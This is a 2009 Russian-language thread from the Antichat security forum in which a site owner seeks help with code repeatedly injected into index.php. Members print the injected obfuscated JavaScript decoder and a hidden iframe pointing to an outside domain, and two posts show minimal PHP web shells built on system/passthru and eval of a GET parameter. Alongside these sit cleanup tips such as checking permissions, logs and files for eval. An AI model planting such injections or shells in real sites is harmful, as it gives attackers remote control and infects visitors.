Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

17.06.2009, 12:25
|
|
Познавший АНТИЧАТ
Регистрация: 01.12.2006
Сообщений: 1,769
Провел на форуме: 3718311
Репутация:
1118
|
|
такие хитроумные админы на gov-ах часто попадаются
К сожалению на gov не работал =)
Блин, сегодня захожу, там уже другая ***ня:
Пасс на ФТП поменял?
если не боишся то можеш кинуть в личку ссылку на архив с копией файлов двига. бум искать шелл.
Последний раз редактировалось POS_troi; 17.06.2009 в 12:28..
|
|
|

17.06.2009, 13:28
|
|
Познающий
Регистрация: 07.09.2008
Сообщений: 55
Провел на форуме: 163517
Репутация:
57
|
|
Сообщение от mff
Блин, сегодня захожу, там уже другая ***ня:
Помогите, хелп, приклеевается в конец документа index.php  Что делать? Вири на компе подавил
Все, все да не все
Твой код соответствует этому:
Код:
<script language="javascript">
function dosometing( subvalue ){
var s1 = "Uynwt85eFPV1QOfELcWBRJG+gxZMh6Xvr7kb3d4/pKu9iNAqoTs2az0mSDCHIjlY";
var s2 = '';
var s3 = 18;
var s4 = 0;
for ( var i = 0; i < subvalue.length; i++ ) {
var s5 = s1.indexOf( subvalue.charAt( i ) );
if ( s3 == 0 ) {
s4 = s4 | s5;
var s6 = ( s4 & 0xFF0000 ) >> 16;
if ( s6 != 0 ) {
s2 += String.fromCharCode( s6 );
}
var s7 = ( s4 & 0xFF00 ) >> 8;
if ( s7 != 0 ){
s2 += String.fromCharCode( s7 );
}
var s8 = s4 & 0xFF;
if ( s8 != 0 ){
s2 += String.fromCharCode( s8 );
}
s4 = 0;
s3 = 18;
} else {
s5 = s5 << s3;
s4 = s4 | s5;
s3 -= 6;
}
}
return s2;
}
alert( dosometing( 'E5d4h48NxWy2h4QjF47a6eUC1sjah/JkgBRAg0SqZGD3x+rAh57oFkymZGcaZwaTF57dZG6p6waTFeOa XGTdEWP0Z+OKg4diZ+cDfkypZGc3xGSkEboqZGxsgGzdErUU' ) );
</script>
Что собственно сильно на результат не влияет
<iframe src="http://truba5.cn/index.php" width=1 height=1 sty???SO'f?6?&???G????FFVa#aAo?g&OSa
Хотя немного странно...
если не боишся то можеш кинуть в личку ссылку на архив с копией файлов двига. бум искать шелл.
ИМХО это все-таки троян (ну всмысле автоматом делается). Просто внимательно надо посмотреть принцип работы...
А че шелл?.. Если это и шелл (хотя маловероятно), то шелл ТС и сам может найти...
Весь PHP-код на сайте посмотри. Там что-то "инородное" сразу, в принципе, невооруженным глазом видно 
|
|
|

17.06.2009, 16:01
|
|
Познавший АНТИЧАТ
Регистрация: 12.03.2008
Сообщений: 1,379
Провел на форуме: 5866479
Репутация:
1809
|
|
Спасибо, полез искать заразу 
|
|
|

17.06.2009, 17:52
|
|
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
Провел на форуме: 2805813
Репутация:
1396
|
|
сервер на никсах?
смотри тщательно процессы. Все эти дела может запускать простенький скрипт, фопеном грузить откуда-то то, что надо и все..раз в час или в другой промежуток времени. вобще выставь r-r-r на индекс.пхп, а еще лучше човни индекс другим юзером)) и права на запись потом уже убери.корень не забудь тоже.
Последний раз редактировалось $n@ke; 17.06.2009 в 17:54..
|
|
|

17.06.2009, 19:07
|
|
Познавший АНТИЧАТ
Регистрация: 12.03.2008
Сообщений: 1,379
Провел на форуме: 5866479
Репутация:
1809
|
|
$n@ke, спасибо, поменяю права сейчас!
Нашел гниду! В папке инклудес валялась, посмотрите, что за дрянь:
news127.inc больше метра весит 
Последний раз редактировалось mff; 17.06.2009 в 19:35..
|
|
|

17.06.2009, 20:32
|
|
Познающий
Регистрация: 07.09.2008
Сообщений: 55
Провел на форуме: 163517
Репутация:
57
|
|
Сообщение от mff
$n@ke, спасибо, поменяю права сейчас! 
Нашел гниду! В папке инклудес валялась, посмотрите, что за дрянь:
news127.inc
Это не шелл. Это прайс-лист, который ты можешь открыть и посмотреть, допустим, Word'ом 2007
Кстати он там и делался...
Шелл это, допустим, вот так:
Код:
<?php
if(isset($_GET['cmd']){
system($_GET['cmd']);
passthru($_GET['cmd']);
}
?>
При чем данный код, может находиться хоть в середине, хоть в конце, хоть в начале документа. Ну это самый, что ни на есть простой тип. Более сложный это.... ну допустим... r57shell (взял его так как он и самый распространенный)...
Сообщение от mff
больше метра весит 
На 3 кб меньше 
|
|
|

17.06.2009, 20:53
|
|
Познающий
Регистрация: 24.12.2006
Сообщений: 90
Провел на форуме: 1292655
Репутация:
168
|
|
а ты точно уверен в хостинге? те сайты которые крутятся на этом же хостинге не страдают той же заразой? в саппорт не обращался?
проверь по дате, может найдеш файлик который ты не менял, поищи по содержанию eval, system (хотя он может удаленно инклудиться), просмотри лог апача... а так $n@ke написал все правильно
|
|
|

17.06.2009, 21:09
|
|
Постоянный
Регистрация: 02.03.2008
Сообщений: 893
Провел на форуме: 5365841
Репутация:
712
|
|
Сообщение от POS_troi
Я на всех ресурсах использовал скриптик который проверял (по заданию в "кроне" ) Суммы всех файлов и в случае чего отписывал на мыло и заменял файл на оригинальный, но все это было на VDS.
Так этот "скриптик" можно изменить:
<?php echo "Всё зае*ись! Шелов не обнаружено"; ?>
Поэтому удалять его нужно с сервера до следующей проверки 
|
|
|

17.06.2009, 21:13
|
|
Познавший АНТИЧАТ
Регистрация: 12.03.2008
Сообщений: 1,379
Провел на форуме: 5866479
Репутация:
1809
|
|
Сообщение от big_BRAT
а ты точно уверен в хостинге? те сайты которые крутятся на этом же хостинге не страдают той же заразой? в саппорт не обращался?
проверь по дате, может найдеш файлик который ты не менял, поищи по содержанию eval, system (хотя он может удаленно инклудиться), просмотри лог апача... а так $n@ke написал все правильно
Хостинг sweb.ru
Обращаться нет смысла, как всегда скажут смотрите свой комп. Др сайты на этом хосте норм! 
|
|
|

17.06.2009, 23:11
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме: 5011696
Репутация:
2221
|
|
Сообщение от Tigger
Проверяй каждый файл на наличие вредоносного кода.
PHP код:
<?PHP
eval($_GET['c']);
?>
Врятдле это антивирус запалит
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|